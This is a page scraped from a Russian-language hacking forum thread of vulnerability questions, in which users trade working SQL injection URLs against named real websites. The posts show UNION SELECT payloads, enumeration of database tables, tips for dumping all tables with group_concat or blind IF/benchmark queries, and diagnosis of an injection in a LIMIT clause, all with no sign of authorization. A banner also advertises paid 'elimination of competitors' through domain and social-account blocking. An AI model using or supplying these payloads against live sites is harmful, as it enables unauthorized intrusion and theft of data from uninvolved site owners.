Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1726 из 2438

1726

Опции темы

Поиск в этой теме

Опции просмотра

#17251

10.06.2011, 15:04

kroŧ

Новичок

Регистрация: 19.05.2010

Сообщений: 6

С нами: 8411065

Репутация: 4

Konqi спасибо, я так понял можно записать любой код, буду пробовать.

Вот ещё проблема

http://www.trommeslageren.dk/index2.php?id='0

ни могу подобрать поля

http://www.trommeslageren.dk/index2.php?id=-10+union+select+null,null..

ни чего не меняется

что тогда делать?

#17252

10.06.2011, 15:14

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 560

С нами: 8885780

Репутация: 672

http://www.trommeslageren.dk/index2.php?id=0'+and+0+union+select+1,2,3,4,5,6,7--+

#17253

10.06.2011, 15:23

kroŧ

Новичок

Регистрация: 19.05.2010

Сообщений: 6

С нами: 8411065

Репутация: 4

если я пишу

+UnIoN+AlL+sElEcT+TABLE_NAME+FROM+INFORMATION_SCHE MA.TABLES+LIMIT+0,1--

выдаст 1 строку

возможно ли чтобы выдало все таблицы сразу ни по 1 строке?

#17254

10.06.2011, 15:27

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 560

С нами: 8885780

Репутация: 672

Цитата:

Сообщение от kroŧ

если я пишу
+UnIoN+AlL+sElEcT+TABLE_NAME+FROM+INFORMATION_SCHE MA.TABLES+LIMIT+0,1--
выдаст 1 строку
возможно ли чтобы выдало все таблицы сразу ни по 1 строке?

group_concat() для mysql

тока на все таблицы, а в пределах 1024 символов

krot читайте мануалы, там вы найдете все ответы на вашы вопросы

---------

на этом сайте форум ипб, смотрите в сторону форума

#17255

10.06.2011, 18:44

XAMEHA

Новичок

Регистрация: 15.05.2010

Сообщений: 0

С нами: 8417113

Репутация: 0

Цитата:

Сообщение от kroŧ

если я пишу
+UnIoN+AlL+sElEcT+TABLE_NAME+FROM+INFORMATION_SCHE MA.TABLES+LIMIT+0,1--
выдаст 1 строку
возможно ли чтобы выдало все таблицы сразу ни по 1 строке?

Можно и без огранечения в 1024 через IF или benchmark: /showpost.php?p=2298777&postcount=16

#17256

10.06.2011, 19:51

KosoyRoman

Познающий

Регистрация: 14.09.2008

Сообщений: 38

С нами: 9292218

Репутация: 37

Цитата:

Сообщение от d1v

какая версия?

3 станларт

#17257

10.06.2011, 21:38

FlaktW

Участник форума

Регистрация: 19.08.2009

Сообщений: 115

С нами: 8803961

Репутация: 8

Помогите определить БД, похоже на Postgres, но вывода не могу добиться

http://www.avtogalaktika.ru/i.cgi?block=11838&ST=1&page=5764+and+1=0+union+sel ect+version()+--+

#17258

10.06.2011, 21:42

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Может туплю, конечно, но в упор не вижу тут никакой инъекции...

#17259

10.06.2011, 21:44

FlaktW

Участник форума

Регистрация: 19.08.2009

Сообщений: 115

С нами: 8803961

Репутация: 8

Цитата:

Сообщение от mailbrush

Может туплю, конечно, но в упор не вижу тут никакой инъекции...

http://www.avtogalaktika.ru/i.cgi?block=11838&ST=1&page=5764*1

http://www.avtogalaktika.ru/i.cgi?block=11838&ST=1&page=5764*4

http://www.avtogalaktika.ru/i.cgi?block=11838&ST=1&page=5764+union+select+1+--+

http://www.avtogalaktika.ru/i.cgi?block=11838&ST=1&page=5764+union+select+1,2+--+

#17260

10.06.2011, 21:49

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Туплю, туплю. Инъекция всё же есть. Но т.к. параметр page - то она, скорее всего, в операторе типа LIMIT, и через union её не получится раскрутить.

Страница 1726 из 2438

1726

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 13 (пользователей: 0 , гостей: 13)

Быстрый переход